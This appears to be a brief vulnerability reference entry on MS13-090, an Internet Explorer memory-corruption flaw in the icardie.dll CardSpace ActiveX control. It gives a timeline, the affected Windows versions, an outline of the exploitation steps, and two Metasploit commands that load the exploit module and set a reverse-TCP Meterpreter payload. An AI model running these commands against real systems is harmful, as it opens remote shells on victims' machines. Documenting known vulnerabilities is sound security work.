Timeline :

Vulnerability discovered exploited in the wild
Patched by the vendor via MS13-090 the 2013-11-12
Metasploit PoC provided the 2013-11-15

PoC provided by :

juan vazquez

Reference(s) :


Affected version(s) :

Windows XP SP3, Windows Vista SP2, Windows 7 SP1, Windows 8 and 8.1

Tested onĀ :

with Internet Explorer 8 on Windows XP SP3

Description :

This module exploits a vulnerability on the CardSpaceClaimCollection class from the icardie.dll ActiveX control. The vulnerability exists while the handling of the CardSpaceClaimCollection object. CardSpaceClaimCollections stores a collection of elements on a SafeArray and keeps a size field, counting the number of elements on the collection. By calling the remove() method on an empty CardSpaceClaimCollection it is possible to underflow the length field, storing a negative integer. Later, a call to the add() method will use the corrupted length field to compute the address where write into the SafeArray data, allowing to corrupt memory with a pointer to controlled contents. This module achieves code execution by using VBScript as discovered in the wild on November 2013 to (1) create an array of html OBJECT elements, (2) create holes, (3) create a CardSpaceClaimCollection whose SafeArray data will reuse one of the holes, (4) corrupt one of the legit OBJECT elements with the described integer overflow and (5) achieve code execution by forcing the use of the corrupted OBJECT.

Commands :

use exploit/windows/browser/ms13_090_cardspacesigninhelper
set PAYLOAD windows/meterpreter/reverse_tcp